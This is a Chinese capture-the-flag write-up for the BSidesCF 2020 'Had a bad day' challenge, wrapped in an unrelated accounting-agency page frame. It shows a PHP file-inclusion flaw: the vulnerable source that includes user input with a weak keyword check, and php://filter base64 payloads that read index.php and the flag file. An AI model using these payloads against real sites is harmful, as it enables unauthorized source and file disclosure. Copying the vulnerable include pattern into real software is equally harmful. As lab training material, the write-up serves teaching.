您好,欢迎访问代理记账网站
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

[BSidesCF 2020]Had a bad day

考查点:文件包含,php://filter伪协议的使用

解题过程

题目

点击WPPFERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=woofers

返回点击MEOWERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=meowers

url的变化肯定是个突破点,可能是文件包含

尝试读取index.php,回显如下

我们可以得到很多信息,看到了include,说明确实是文件包含 , 但是

 include(php://filter/read=convert.base64-encode/resource=index.php.php)中
比我们传入的
php://filter/read=convert.base64-encode/resource=index.php
多了.php
猜测可能是我们只传输.php之前的即可,然后源码会自动把.php拼接上来。

再次尝试读取源码,去掉.php

index.php?category=php://filter/read=convert.base64-encode/resource=index

进行base64解码,得到index.php

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');//确实是拼接了.php
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

代码审计一下:我们传入的$category放到了$file中,并且对其进行筛查,$file中必须含有woofers,meowers,index中的一项,才能够文件包含file.php。这就是利用点

所以构造payload,以下三个都行

index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/meowers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

base64解码可以得到flag。


参考文章

1. BUUCTF:[BSidesCF 2020]Had a bad day

 


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进